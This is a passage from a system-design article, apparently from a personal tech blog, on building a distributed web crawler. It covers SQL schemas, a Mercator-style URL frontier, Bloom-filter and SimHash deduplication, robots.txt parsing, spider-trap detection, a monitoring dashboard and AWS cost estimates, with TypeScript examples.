CREATE INDEX idx_urls_state ON urls(state, next_fetch_at)
    WHERE state IN ('pending', 'queued');
CREATE INDEX idx_urls_refetch ON urls(next_fetch_at)
    WHERE state = 'completed' AND next_fetch_at IS NOT NULL;
```

**Design Decision: URL Hash as Primary Key for Dedup**

Using SHA-256 hash of the normalized URL as the unique constraint instead of the raw URL:

- Fixed size (32 bytes) regardless of URL length
- Fast equality comparisons
- Bloom filter uses same hash
- URLs up to 2000+ characters don't bloat indexes

### Robots.txt Cache Schema

```sql collapse={1-3, 25-30}
-- robots.txt cache
CREATE TABLE robots_cache (
    host VARCHAR(255) PRIMARY KEY,
    fetched_at TIMESTAMPTZ NOT NULL,
    expires_at TIMESTAMPTZ NOT NULL,
    status_code SMALLINT NOT NULL,
    content TEXT,  -- Raw robots.txt content
    parsed_rules JSONB,  -- Pre-parsed rules for fast lookup
    crawl_delay INT,  -- Crawl-delay directive (if present)
    sitemaps TEXT[],  -- Sitemap URLs discovered
    error_message TEXT
);

-- Example parsed_rules structure:
-- {
--   "user_agents": {
--     "*": {
--       "allow": ["/public/", "/api/"],
--       "disallow": ["/admin/", "/private/"]
--     },
--     "googlebot": {
--       "allow": ["/"],
--       "disallow": ["/no-google/"]
--     }
--   }
-- }

CREATE INDEX idx_robots_expires ON robots_cache(expires_at)
    WHERE expires_at < NOW() + INTERVAL '1 hour';
```

### Content Storage Schema

```sql collapse={1-5, 35-45}
-- Page content archive (separate from URL metadata)
CREATE TABLE page_content (
    id BIGSERIAL PRIMARY KEY,
    url_id BIGINT NOT NULL REFERENCES urls(id),
    fetch_id BIGINT NOT NULL,  -- Links to fetch attempt

    -- Content
    raw_content BYTEA,  -- Compressed HTML/content
    compression VARCHAR(10) DEFAULT 'gzip',
    content_length INT NOT NULL,
    content_type VARCHAR(100),
    charset VARCHAR(50),

    -- Extracted data
    title TEXT,
    meta_description TEXT,
    canonical_url TEXT,
    language VARCHAR(10),

    -- Fingerprints
    content_hash BYTEA NOT NULL,  -- SHA-256 for exact match
    simhash BIGINT NOT NULL,      -- SimHash for near-duplicate

    -- Timestamps
    fetched_at TIMESTAMPTZ NOT NULL,
    http_date TIMESTAMPTZ,        -- From HTTP Date header
    last_modified TIMESTAMPTZ     -- From Last-Modified header
);

-- Content deduplication index
CREATE INDEX idx_content_simhash ON page_content(simhash);
CREATE INDEX idx_content_hash ON page_content(content_hash);

-- Partition by fetch date for efficient archival
-- CREATE TABLE page_content_2024_01 PARTITION OF page_content
--     FOR VALUES FROM ('2024-01-01') TO ('2024-02-01');
```

### Database Selection Matrix

| Data Type            | Store                | Rationale                             |
| -------------------- | -------------------- | ------------------------------------- |
| URL frontier queue   | Kafka                | Durable, partitioned, consumer groups |
| URL metadata         | PostgreSQL           | Complex queries, ACID, indexes        |
| Seen URL filter      | Redis Bloom          | Fast membership test, O(1)            |
| robots.txt cache     | Redis                | TTL support, fast lookup              |
| Page content         | Object Storage (S3)  | Large blobs, cheap, archival          |
| Content fingerprints | PostgreSQL + Redis   | Persistent + fast lookup              |
| Crawl metrics        | InfluxDB/TimescaleDB | Time-series queries                   |
| Web graph            | Neo4j / PostgreSQL   | Link structure analysis               |

### Partitioning Strategy

**URL Database Sharding:**

- Shard key: `host_hash` (hash of hostname)
- Rationale: Co-locates all URLs for a host; queries filter by host

**Kafka Topic Partitioning:**

- Partition key: `host_hash`
- Number of partitions: 256 (allows scaling to 256 crawler nodes)
- Rationale: Each crawler consumes specific partitions → owns specific hosts

**Content Storage:**

- Partition by date (monthly tables)
- Rationale: Old content can be archived/deleted without affecting recent data

## Low-Level Design

### URL Frontier Implementation

The frontier is the heart of the crawler. It must balance priority, politeness, and throughput.

#### Dual-Queue Architecture (Mercator Style)

```typescript collapse={1-15, 70-90}
// Frontier configuration
interface FrontierConfig {
  numFrontQueues: number // F = number of priority levels (10-20)
  numBackQueues: number // B = 3 × crawler threads
  defaultPolitenessDelay: number // milliseconds between requests to same host
  maxQueueSize: number // per back queue
}

interface URLEntry {
  url: string
  normalizedUrl: string
  host: string
  priority: number // 0.0 to 1.0
  depth: number
  discoveredAt: Date
}

class URLFrontier {
  private frontQueues: PriorityQueue<URLEntry>[] // F queues
  private backQueues: Map<string, HostQueue> // Host → queue
  private hostToBackQueue: Map<string, number> // Host → back queue index
  private backQueueHeap: MinHeap<BackQueueEntry> // Sorted by next_allowed_time

  constructor(private config: FrontierConfig) {
    this.frontQueues = Array(config.numFrontQueues)
      .fill(null)
      .map(() => new PriorityQueue<URLEntry>((a, b) => b.priority - a.priority))

    this.backQueues = new Map()
    this.hostToBackQueue = new Map()
    this.backQueueHeap = new MinHeap((a, b) => a.nextAllowedTime - b.nextAllowedTime)
  }

  // Add URL to frontier
  async addURL(entry: URLEntry): Promise<void> {
    // Assign to front queue based on priority
    const frontQueueIndex = Math.floor(entry.priority * (this.config.numFrontQueues - 1))
    this.frontQueues[frontQueueIndex].enqueue(entry)

    // Ensure back queue exists for this host
    this.ensureBackQueue(entry.host)
  }

  // Get next URL to fetch (respects politeness)
  async getNext(): Promise<URLEntry | null> {
    // Find a back queue that's ready (next_allowed_time <= now)
    const now = Date.now()

    while (this.backQueueHeap.size() > 0) {
      const topBackQueue = this.backQueueHeap.peek()

      if (topBackQueue.nextAllowedTime > now) {
        // No queues ready yet, return null or wait
        return null
      }

      const backQueue = this.backQueues.get(topBackQueue.host)
      if (backQueue && backQueue.size() > 0) {
        // Pop URL from this back queue
        const url = backQueue.dequeue()

        // Update next_allowed_time
        this.backQueueHeap.extractMin()
        topBackQueue.nextAllowedTime = now + this.getPolitenessDelay(topBackQueue.host)
        this.backQueueHeap.insert(topBackQueue)

        // Refill back queue from front queues if needed
        this.refillBackQueue(topBackQueue.host)

        return url
      }

      // Empty back queue, remove from heap
      this.backQueueHeap.extractMin()
    }

    return null
  }

  // Refill back queue from front queues (maintains priority)
  private refillBackQueue(host: string): void {
    const backQueue = this.backQueues.get(host)
    if (!backQueue || backQueue.size() >= 10) return // Keep 10 URLs buffered

    // Scan front queues for URLs matching this host
    for (const frontQueue of this.frontQueues) {
      const url = frontQueue.findAndRemove((e) => e.host === host)
      if (url) {
        backQueue.enqueue(url)
        if (backQueue.size() >= 10) break
      }
    }
  }

  private getPolitenessDelay(host: string): number {
    // Check robots.txt crawl-delay, fall back to default
    const robotsDelay = this.robotsCache.getCrawlDelay(host)
    return robotsDelay ?? this.config.defaultPolitenessDelay
  }
}
```

#### Priority Calculation

```typescript collapse={1-5, 35-45}
interface PriorityFactors {
  pageRank: number // 0.0 to 1.0, from link analysis
  domainAuthority: number // 0.0 to 1.0, domain-level quality
  changeFrequency: number // 0.0 to 1.0, how often content changes
  depth: number // Distance from seed URL
  freshness: number // 0.0 to 1.0, based on last fetch age
}

function calculatePriority(factors: PriorityFactors): number {
  // Weighted combination of factors
  const weights = {
    pageRank: 0.3,
    domainAuthority: 0.25,
    changeFrequency: 0.2,
    depth: 0.15,
    freshness: 0.1,
  }

  // Depth penalty: deeper pages get lower priority
  const depthScore = Math.max(0, 1 - factors.depth * 0.1) // -10% per level

  const priority =
    weights.pageRank * factors.pageRank +
    weights.domainAuthority * factors.domainAuthority +
    weights.changeFrequency * factors.changeFrequency +
    weights.depth * depthScore +
    weights.freshness * factors.freshness

  return Math.max(0, Math.min(1, priority)) // Clamp to [0, 1]
}

// Example: High-value news site homepage
const priority = calculatePriority({
  pageRank: 0.9,
  domainAuthority: 0.85,
  changeFrequency: 0.95, // Changes frequently
  depth: 0, // Seed URL
  freshness: 0.1, // Hasn't been fetched recently
})
// priority ≈ 0.77 → high priority front queue
```

### Duplicate Detection

#### URL Normalization

URL normalization is critical—different URL strings can reference the same resource.

```typescript collapse={1-10, 55-70}
import { URL } from "url"

interface NormalizationOptions {
  removeFragment: boolean // Remove #hash
  removeDefaultPorts: boolean // Remove :80, :443
  removeTrailingSlash: boolean // Remove trailing /
  removeIndexFiles: boolean // Remove /index.html
  sortQueryParams: boolean // Alphabetize query params
  lowercaseHost: boolean // Lowercase hostname
  removeWWW: boolean // Remove www. prefix (controversial)
  decodeUnreserved: boolean // Decode safe percent-encoded chars
}

const DEFAULT_OPTIONS: NormalizationOptions = {
  removeFragment: true,
  removeDefaultPorts: true,
  removeTrailingSlash: true,
  removeIndexFiles: true,
  sortQueryParams: true,
  lowercaseHost: true,
  removeWWW: false, // www.example.com and example.com may be different
  decodeUnreserved: true,
}

function normalizeURL(urlString: string, options = DEFAULT_OPTIONS): string {
  const url = new URL(urlString)

  // Lowercase scheme and host
  url.protocol = url.protocol.toLowerCase()
  if (options.lowercaseHost) {
    url.hostname = url.hostname.toLowerCase()
  }

  // Remove default ports
  if (options.removeDefaultPorts) {
    if ((url.protocol === "http:" && url.port === "80") || (url.protocol === "https:" && url.port === "443")) {
      url.port = ""
    }
  }

  // Remove fragment
  if (options.removeFragment) {
    url.hash = ""
  }

  // Sort query parameters
  if (options.sortQueryParams && url.search) {
    const params = new URLSearchParams(url.search)
    const sorted = new URLSearchParams([...params.entries()].sort())
    url.search = sorted.toString()
  }

  // Remove trailing slash (except for root)
  if (options.removeTrailingSlash && url.pathname !== "/") {
    url.pathname = url.pathname.replace(/\/+$/, "")
  }

  // Remove index files
  if (options.removeIndexFiles) {
    url.pathname = url.pathname.replace(/\/(index|default)\.(html?|php|asp)$/i, "/")
  }

  // Decode unreserved characters
  if (options.decodeUnreserved) {
    url.pathname = decodeURIComponent(url.pathname)
      .split("/")
      .map((segment) => encodeURIComponent(segment))
      .join("/")
  }

  return url.toString()
}

// Examples:
// normalizeURL('HTTP://Example.COM:80/Page/')
//   → 'http://example.com/page'
// normalizeURL('https://example.com/search?b=2&a=1')
//   → 'https://example.com/search?a=1&b=2'
// normalizeURL('https://example.com/index.html')
//   → 'https://example.com/'
```

#### Bloom Filter for URL Deduplication

```typescript collapse={1-10, 50-65}
import { createHash } from "crypto"

class BloomFilter {
  private bitArray: Uint8Array
  private numHashFunctions: number
  private size: number

  constructor(expectedElements: number, falsePositiveRate: number = 0.01) {
    // Calculate optimal size and hash functions
    // m = -n * ln(p) / (ln(2)^2)
    // k = (m/n) * ln(2)
    this.size = Math.ceil((-expectedElements * Math.log(falsePositiveRate)) / Math.log(2) ** 2)
    this.numHashFunctions = Math.ceil((this.size / expectedElements) * Math.log(2))
    this.bitArray = new Uint8Array(Math.ceil(this.size / 8))

    console.log(`Bloom filter: ${this.size} bits, ${this.numHashFunctions} hash functions`)
    // For 1B URLs at 1% FP: ~1.2 GB, 7 hash functions
  }

  private getHashes(item: string): number[] {
    // Use double hashing: h(i) = h1 + i * h2
    const h1 = this.hash(item, 0)
    const h2 = this.hash(item, 1)

    return Array(this.numHashFunctions)
      .fill(0)
      .map((_, i) => Math.abs((h1 + i * h2) % this.size))
  }

  private hash(item: string, seed: number): number {
    const hash = createHash("md5").update(`${seed}:${item}`).digest()
    return hash.readUInt32LE(0)
  }

  add(item: string): void {
    for (const hash of this.getHashes(item)) {
      const byteIndex = Math.floor(hash / 8)
      const bitIndex = hash % 8
      this.bitArray[byteIndex] |= 1 << bitIndex
    }
  }

  mightContain(item: string): boolean {
    for (const hash of this.getHashes(item)) {
      const byteIndex = Math.floor(hash / 8)
      const bitIndex = hash % 8
      if ((this.bitArray[byteIndex] & (1 << bitIndex)) === 0) {
        return false // Definitely not in set
      }
    }
    return true // Probably in set (may be false positive)
  }
}

// Usage
const seenURLs = new BloomFilter(1_000_000_000, 0.01)

function isURLSeen(url: string): boolean {
  const normalized = normalizeURL(url)

  if (!seenURLs.mightContain(normalized)) {
    return false // Definitely not seen
  }

  // Bloom filter says "maybe"—check persistent store
  return urlDatabase.exists(normalized)
}

function markURLSeen(url: string): void {
  const normalized = normalizeURL(url)
  seenURLs.add(normalized)
  urlDatabase.insert(normalized)
}
```

#### SimHash for Content Deduplication

```typescript collapse={1-10, 60-80}
import { createHash } from "crypto"

// SimHash generates a fingerprint where similar documents have similar hashes
// Hamming distance between fingerprints indicates similarity

function simhash(text: string, hashBits: number = 64): bigint {
  // Tokenize into shingles (word n-grams)
  const tokens = tokenize(text)
  const shingles = generateShingles(tokens, 3) // 3-word shingles

  // Initialize bit vector
  const v = new Array(hashBits).fill(0)

  for (const shingle of shingles) {
    // Hash each shingle to get bit positions
    const hash = hashShingle(shingle, hashBits)

    // Update vector: +1 if bit is 1, -1 if bit is 0
    for (let i = 0; i < hashBits; i++) {
      if ((hash >> BigInt(i)) & 1n) {
        v[i] += 1
      } else {
        v[i] -= 1
      }
    }
  }

  // Convert vector to fingerprint: 1 if positive, 0 if negative
  let fingerprint = 0n
  for (let i = 0; i < hashBits; i++) {
    if (v[i] > 0) {
      fingerprint |= 1n << BigInt(i)
    }
  }

  return fingerprint
}

function tokenize(text: string): string[] {
  return text
    .toLowerCase()
    .replace(/[^\w\s]/g, " ")
    .split(/\s+/)
    .filter((word) => word.length > 2)
}

function generateShingles(tokens: string[], n: number): string[] {
  const shingles: string[] = []
  for (let i = 0; i <= tokens.length - n; i++) {
    shingles.push(tokens.slice(i, i + n).join(" "))
  }
  return shingles
}

function hashShingle(shingle: string, bits: number): bigint {
  const hash = createHash("sha256").update(shingle).digest("hex")
  return BigInt("0x" + hash.slice(0, bits / 4))
}

function hammingDistance(a: bigint, b: bigint): number {
  let xor = a ^ b
  let distance = 0
  while (xor > 0n) {
    distance += Number(xor & 1n)
    xor >>= 1n
  }
  return distance
}

// Usage
const DUPLICATE_THRESHOLD = 3 // Max 3 bits different

function isNearDuplicate(newFingerprint: bigint, existingFingerprints: bigint[]): boolean {
  for (const existing of existingFingerprints) {
    if (hammingDistance(newFingerprint, existing) <= DUPLICATE_THRESHOLD) {
      return true
    }
  }
  return false
}

// Example
const doc1 = "The quick brown fox jumps over the lazy dog"
const doc2 = "The quick brown fox leaps over the lazy dog" // One word changed
const doc3 = "Completely different content about web crawlers"

const hash1 = simhash(doc1)
const hash2 = simhash(doc2)
const hash3 = simhash(doc3)

console.log(hammingDistance(hash1, hash2)) // Small (< 3), near-duplicate
console.log(hammingDistance(hash1, hash3)) // Large (> 20), different content
```

### robots.txt Parsing

```typescript collapse={1-10, 70-90}
// RFC 9309 compliant robots.txt parser

interface RobotsRule {
  path: string
  allow: boolean
}

interface RobotsRules {
  rules: RobotsRule[]
  crawlDelay?: number
  sitemaps: string[]
}

function parseRobotsTxt(content: string, userAgent: string): RobotsRules {
  const lines = content.split("\n").map((l) => l.trim())
  const rules: RobotsRule[] = []
  let crawlDelay: number | undefined
  const sitemaps: string[] = []

  let currentUserAgents: string[] = []
  let inRelevantBlock = false

  for (const line of lines) {
    // Skip comments and empty lines
    if (line.startsWith("#") || line === "") continue

    const [directive, ...valueParts] = line.split(":")
    const value = valueParts.join(":").trim()

    switch (directive.toLowerCase()) {
      case "user-agent":
        // Check if this block applies to our user agent
        if (currentUserAgents.length > 0 && inRelevantBlock) {
          // We've finished a relevant block, stop processing
          // (RFC 9309: use first matching group)
          break
        }
        currentUserAgents.push(value.toLowerCase())
        inRelevantBlock = matchesUserAgent(value, userAgent)
        break

      case "allow":
        if (inRelevantBlock) {
          rules.push({ path: value, allow: true })
        }
        break

      case "disallow":
        if (inRelevantBlock) {
          rules.push({ path: value, allow: false })
        }
        break

      case "crawl-delay":
        // Note: crawl-delay is NOT in RFC 9309, but commonly used
        if (inRelevantBlock) {
          crawlDelay = parseInt(value, 10)
        }
        break

      case "sitemap":
        // Sitemaps apply globally
        sitemaps.push(value)
        break
    }
  }

  // Sort rules by path length (longest match wins per RFC 9309)
  rules.sort((a, b) => b.path.length - a.path.length)

  return { rules, crawlDelay, sitemaps }
}

function matchesUserAgent(pattern: string, userAgent: string): boolean {
  const patternLower = pattern.toLowerCase()
  const uaLower = userAgent.toLowerCase()

  if (patternLower === "*") return true
  return uaLower.includes(patternLower)
}

function isAllowed(rules: RobotsRules, path: string): boolean {
  // RFC 9309: Longest matching path wins
  for (const rule of rules.rules) {
    if (pathMatches(rule.path, path)) {
      return rule.allow
    }
  }
  // Default: allowed if no rule matches
  return true
}

function pathMatches(pattern: string, path: string): boolean {
  // Handle wildcards (*) and end-of-path ($)
  let regex = pattern
    .replace(/[.+?^${}()|[\]\\]/g, "\\$&") // Escape special chars
    .replace(/\*/g, ".*") // * → .*
    .replace(/\$$/, "$") // Keep $ as end anchor

  if (!pattern.endsWith("$")) {
    regex = `^${regex}` // Match from start
  }

  return new RegExp(regex).test(path)
}

// Usage
const robotsTxt = `
User-agent: *
Disallow: /admin/
Disallow: /private/
Allow: /admin/public/

User-agent: Googlebot
Disallow: /no-google/

Sitemap: https://example.com/sitemap.xml
`

const rules = parseRobotsTxt(robotsTxt, "MyCrawler/1.0")
console.log(isAllowed(rules, "/admin/dashboard")) // false
console.log(isAllowed(rules, "/admin/public/")) // true (longest match wins)
console.log(isAllowed(rules, "/public/page")) // true (no matching rule)
```

### Spider Trap Detection

```typescript collapse={1-10, 45-60}
// Detect and avoid spider traps (infinite URL spaces)

interface TrapDetectionConfig {
  maxURLLength: number // URLs longer than this are suspicious
  maxPathDepth: number // Path segments deeper than this
  maxSimilarURLsPerHost: number // Too many similar patterns
  patternThreshold: number // Repetition count before flagging
}

const DEFAULT_TRAP_CONFIG: TrapDetectionConfig = {
  maxURLLength: 2000,
  maxPathDepth: 15,
  maxSimilarURLsPerHost: 10000,
  patternThreshold: 3,
}

interface URLPattern {
  host: string
  pathSegments: string[]
  queryParams: string[]
}

class SpiderTrapDetector {
  private hostPatterns: Map<string, Map<string, number>> = new Map()

  constructor(private config = DEFAULT_TRAP_CONFIG) {}

  isTrap(url: string): { isTrap: boolean; reason?: string } {
    try {
      const parsed = new URL(url)

      // Check 1: URL length
      if (url.length > this.config.maxURLLength) {
        return { isTrap: true, reason: `URL too long (${url.length} chars)` }
      }

      // Check 2: Path depth
      const pathSegments = parsed.pathname.split("/").filter(Boolean)
      if (pathSegments.length > this.config.maxPathDepth) {
        return { isTrap: true, reason: `Path too deep (${pathSegments.length} segments)` }
      }

      // Check 3: Repeating patterns in path
      const pattern = this.detectRepeatingPattern(pathSegments)
      if (pattern) {
        return { isTrap: true, reason: `Repeating pattern: ${pattern}` }
      }

      // Check 4: Calendar trap (dates extending into far future)
      if (this.isCalendarTrap(parsed.pathname)) {
        return { isTrap: true, reason: "Calendar trap (far future dates)" }
      }

      // Check 5: Session ID in URL
      if (this.hasSessionID(parsed.search)) {
        return { isTrap: true, reason: "Session ID in URL" }
      }

      return { isTrap: false }
    } catch {
      return { isTrap: true, reason: "Invalid URL" }
    }
  }

  private detectRepeatingPattern(segments: string[]): string | null {
    // Look for patterns like /a/b/a/b/a/b
    for (let patternLength = 1; patternLength <= segments.length / 3; patternLength++) {
      const pattern = segments.slice(0, patternLength).join("/")
      let repetitions = 0

      for (let i = 0; i <= segments.length - patternLength; i += patternLength) {
        if (segments.slice(i, i + patternLength).join("/") === pattern) {
          repetitions++
        }
      }

      if (repetitions >= this.config.patternThreshold) {
        return pattern
      }
    }
    return null
  }

  private isCalendarTrap(pathname: string): boolean {
    // Look for date patterns like /2024/01/15 extending far into future
    const datePattern = /\/(\d{4})\/(\d{1,2})\/(\d{1,2})/
    const match = pathname.match(datePattern)

    if (match) {
      const year = parseInt(match[1], 10)
      const currentYear = new Date().getFullYear()

      // Flag if date is more than 2 years in the future
      if (year > currentYear + 2) {
        return true
      }
    }
    return false
  }

  private hasSessionID(search: string): boolean {
    const sessionPatterns = [
      /[?&](session_?id|sid|phpsessid|jsessionid|aspsessionid)=/i,
      /[?&][a-z]+=[a-f0-9]{32,}/i, // Long hex strings often session IDs
    ]

    return sessionPatterns.some((pattern) => pattern.test(search))
  }
}
```

## Frontend Considerations

### Crawl Monitoring Dashboard

**Problem:** Operators need real-time visibility into crawl progress, errors, and throughput across distributed nodes.

**Solution: Real-Time Metrics Dashboard**

```typescript collapse={1-15, 45-60}
// Dashboard data structure
interface CrawlDashboardState {
  summary: {
    totalURLs: number
    fetchedURLs: number
    queuedURLs: number
    errorCount: number
    duplicateCount: number
  }
  throughput: {
    current: number
    average: number
    history: Array<{ timestamp: number; value: number }>
  }
  workers: Array<{
    id: string
    status: "active" | "idle" | "error"
    urlsProcessed: number
    currentHost: string
    lastActivity: Date
  }>
  topHosts: Array<{
    host: string
    urlsFetched: number
    urlsQueued: number
    errorRate: number
  }>
  errors: Array<{
    timestamp: Date
    url: string
    error: string
    count: number
  }>
}

// Real-time updates via WebSocket
function useCrawlDashboard(): CrawlDashboardState {
  const [state, setState] = useState<CrawlDashboardState>(initialState)

  useEffect(() => {
    const ws = new WebSocket("wss://crawler-api/dashboard/stream")

    ws.onmessage = (event) => {
      const update = JSON.parse(event.data)

      switch (update.type) {
        case "summary":
          setState((prev) => ({ ...prev, summary: update.data }))
          break
        case "throughput":
          setState((prev) => ({
            ...prev,
            throughput: {
              ...prev.throughput,
              current: update.data.current,
              history: [...prev.throughput.history.slice(-59), update.data],
            },
          }))
          break
        case "worker_status":
          setState((prev) => ({
            ...prev,
            workers: updateWorker(prev.workers, update.data),
          }))
          break
      }
    }

    return () => ws.close()
  }, [])

  return state
}
```

**Key metrics to display:**

- URLs/second (current, average, peak)
- Queue depth by priority level
- Error rates by category (network, HTTP 4xx, 5xx, timeout)
- Worker status and distribution
- Top hosts by activity
- Bandwidth consumption

### URL Analysis Interface

```typescript collapse={1-10, 35-50}
// Interface for analyzing specific URLs or hosts
interface URLAnalysis {
  url: string;
  normalizedUrl: string;
  status: 'pending' | 'fetched' | 'error' | 'blocked';
  fetchHistory: Array<{
    timestamp: Date;
    statusCode: number;
    responseTime: number;
    contentHash: string;
  }>;
  robotsStatus: {
    allowed: boolean;
    rule: string;
    crawlDelay?: number;
  };
  linkAnalysis: {
    inboundLinks: number;
    outboundLinks: number;
    pageRank: number;
  };
}

// Host-level analysis
interface HostAnalysis {
  host: string;
  urlsDiscovered: number;
  urlsFetched: number;
  urlsBlocked: number;
  avgResponseTime: number;
  errorRate: number;
  robots: {
    lastFetched: Date;
    crawlDelay?: number;
    blockedPaths: string[];
  };
  throughputHistory: Array<{ timestamp: Date; urlsPerMinute: number }>;
}

// Component for searching and analyzing URLs
function URLAnalyzer() {
  const [searchQuery, setSearchQuery] = useState('');
  const [analysis, setAnalysis] = useState<URLAnalysis | null>(null);

  const analyzeURL = async (url: string) => {
    const result = await fetch(`/api/v1/analysis/url?url=${encodeURIComponent(url)}`);
    setAnalysis(await result.json());
  };

  return (
    <div className="url-analyzer">
      <input
        type="text"
        value={searchQuery}
        onChange={e => setSearchQuery(e.target.value)}
        placeholder="Enter URL or host..."
      />
      <button onClick={() => analyzeURL(searchQuery)}>Analyze</button>

      {analysis && (
        <div className="analysis-results">
          <h3>URL: {analysis.url}</h3>
          <p>Status: {analysis.status}</p>
          <p>Robots: {analysis.robotsStatus.allowed ? 'Allowed' : 'Blocked'}</p>
          <p>PageRank: {analysis.linkAnalysis.pageRank.toFixed(4)}</p>
          {/* Fetch history table, etc. */}
        </div>
      )}
    </div>
  );
}
```

## Infrastructure Design

### Cloud-Agnostic Concepts

| Component           | Requirement                           | Options                            |
| ------------------- | ------------------------------------- | ---------------------------------- |
| **Message Queue**   | Durable, partitioned, high throughput | Kafka, Apache Pulsar, Redpanda     |
| **URL Database**    | High write throughput, range queries  | PostgreSQL, CockroachDB, Cassandra |
| **Seen URL Filter** | Fast membership test                  | Redis Bloom, Custom in-memory      |
| **Content Storage** | Cheap, durable, archival              | S3-compatible (MinIO, SeaweedFS)   |
| **Coordination**    | Leader election, config               | ZooKeeper, etcd, Consul            |
| **DNS Cache**       | Low latency, high throughput          | PowerDNS, Unbound, Custom          |
| **Metrics**         | Time-series, real-time                | InfluxDB, Prometheus, TimescaleDB  |

### AWS Reference Architecture

![Diagram](./diagram-3.svg)

| Component       | AWS Service       | Configuration                               |
| --------------- | ----------------- | ------------------------------------------- |
| Message Queue   | Amazon MSK        | kafka.m5.2xlarge, 6 brokers, 256 partitions |
| Crawler Nodes   | EC2 c6i.2xlarge   | 8 vCPU, 16GB RAM, Auto Scaling 5-50         |
| Parser Nodes    | EC2 c6i.xlarge    | 4 vCPU, 8GB RAM, Auto Scaling 2-20          |
| JS Renderer     | EC2 c6i.4xlarge   | 16 vCPU, 32GB RAM, Spot instances           |
| URL Database    | RDS PostgreSQL    | db.r6g.2xlarge, Multi-AZ, 2TB gp3           |
| Bloom Filter    | ElastiCache Redis | cache.r6g.xlarge, 4-node cluster            |
| Content Storage | S3 Standard-IA    | Intelligent-Tiering after 30 days           |
| Coordination    | MSK ZooKeeper     | Built into MSK                              |

### Self-Hosted Alternatives

| Managed Service | Self-Hosted          | When to Self-Host                      |
| --------------- | -------------------- | -------------------------------------- |
| Amazon MSK      | Apache Kafka         | Cost at scale, specific Kafka versions |
| RDS PostgreSQL  | PostgreSQL on EC2    | Cost, specific extensions              |
| ElastiCache     | Redis Cluster on EC2 | Redis modules, cost                    |
| S3              | MinIO / SeaweedFS    | On-premise, data sovereignty           |

### Cost Estimation (AWS, 1B pages/month)

| Resource                            | Monthly Cost       |
| ----------------------------------- | ------------------ |
| MSK (6 × m5.2xlarge)                | ~$3,600            |
| Crawler EC2 (15 × c6i.2xlarge)      | ~$5,400            |
| Parser EC2 (10 × c6i.xlarge)        | ~$1,800            |
| Renderer EC2 Spot (5 × c6i.4xlarge) | ~$1,500            |
| RDS PostgreSQL                      | ~$1,200            |
| ElastiCache Redis                   | ~$800              |
| S3 Storage (50TB compressed)        | ~$1,150            |
| Data Transfer (egress ~10TB)        | ~$900              |
| **Total**                           | **~$16,350/month** |

Cost per million pages: ~$16.35

## Conclusion

This design prioritizes the **hybrid architecture** with Kafka for URL distribution—combining the operational simplicity of a message queue with the scalability of distributed processing. Host-based partitioning enables local politeness enforcement without coordination overhead.

Key architectural decisions:

1. **Dual-queue frontier (Mercator style)**: Front queues for priority, back queues for politeness. This separates concerns and enables efficient URL selection.

2. **Bloom filter + persistent store**: Bloom filter provides O(1) "definitely not seen" checks. False positives fall through to the database—but these are rare (1% at 10 bits/element).

3. **SimHash for content deduplication**: 64-bit fingerprints with 3-bit threshold catches near-duplicates without storing full content hashes for comparison.

4. **Kafka partitions by host hash**: Each crawler node owns specific hosts, enabling local politeness without cross-node coordination.

**Limitations and future improvements:**

- **JavaScript rendering bottleneck**: Headless Chrome is resource-intensive. Could implement speculative rendering (pre-render pages likely to need JS) or use faster alternatives (Playwright, Puppeteer-cluster).
- **Recrawl intelligence**: Current design uses simple time-based recrawling. Could add ML-based change prediction to prioritize likely-changed pages.
- **Deep web crawling**: Forms, authentication, and session handling are out of scope. Would require browser automation and likely ethical considerations.
- **Internationalization**: URL normalization and content extraction assume primarily ASCII/UTF-8. Would need language detection and encoding handling for global crawls.

## Appendix

### Prerequisites

- Distributed systems fundamentals (consistent hashing, message queues)
- Database design (indexing, sharding, partitioning)
- HTTP protocol basics (status codes, headers, compression)
- Basic understanding of probabilistic data structures (Bloom filters)

### Terminology

- **URL Frontier**: The data structure managing which URLs to crawl next, balancing priority and politeness
- **Politeness**: Rate-limiting crawls to avoid overwhelming target servers
- **robots.txt**: File at website root specifying crawl rules (RFC 9309)
- **SimHash**: Locality-sensitive hashing algorithm producing fingerprints where similar documents have similar hashes
- **Bloom Filter**: Probabilistic data structure for membership testing with no false negatives but possible false positives
- **Spider Trap**: URL patterns that generate infinite unique URLs (calendars, session IDs, repetitive paths)
- **Crawl-delay**: Non-standard robots.txt directive specifying seconds between requests
- **Back Queue**: Per-host queue in the frontier that enforces politeness timing
- **Front Queue**: Priority-ordered queue in the frontier that determines which URLs are important

### Summary

- Web crawlers use a **dual-queue frontier**: front queues for priority ranking, back queues for per-host politeness enforcement
- **URL deduplication** combines Bloom filters (O(1) negative checks, 1% false positive) with persistent storage for definitive answers
- **Content deduplication** uses SimHash—64-bit fingerprints where similar documents differ by ≤3 bits
- **Distributed crawling** partitions URLs by host hash using consistent hashing; each node owns specific hosts for local politeness
- **robots.txt** compliance is mandatory: cache 24 hours max, respect Allow/Disallow with longest-match precedence (RFC 9309)
- **Scale**: Common Crawl processes 2.3B pages/month (~400 TiB) across ~47M hosts; Google indexes ~400B documents

### References

- [RFC 9309 - Robots Exclusion Protocol](https://www.rfc-editor.org/rfc/rfc9309.html) - Authoritative robots.txt specification
- [Sitemaps Protocol](https://www.sitemaps.org/protocol.html) - XML sitemap specification
- [Mercator: A Scalable, Extensible Web Crawler](https://courses.cs.washington.edu/courses/cse454/15wi/papers/mercator.pdf) - Foundational paper on URL frontier design
- [UbiCrawler: A Scalable Fully Distributed Web Crawler](https://www.semanticscholar.org/paper/UbiCrawler:-a-scalable-fully-distributed-Web-Boldi-Codenotti/ba8269289ea5ca6bd8f3b43c0153409e6286b38e) - Fully distributed architecture
- [Detecting Near-Duplicates for Web Crawling (SimHash)](https://www.cs.princeton.edu/courses/archive/spring13/cos598C/Lectures/SimHash.pdf) - Content fingerprinting algorithm
- [Stanford IR Book - Web Crawling Chapter](https://nlp.stanford.edu/IR-book/html/htmledition/web-crawling-and-indexes-1.html) - Comprehensive crawling fundamentals
- [Common Crawl Statistics](https://commoncrawl.org/blog) - Real-world crawl scale and methodology
- [Google Search Central - JavaScript SEO](https://developers.google.com/search/docs/crawling-indexing/javascript/javascript-seo-basics) - Googlebot rendering approach
- [ByteByteGo - URL Deduplication with Bloom Filters](https://blog.bytebytego.com/p/how-to-avoid-crawling-duplicate-urls) - Practical deduplication strategies

---

## Design Google Search

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-google-search
**Category:** System Design / System Design Problems
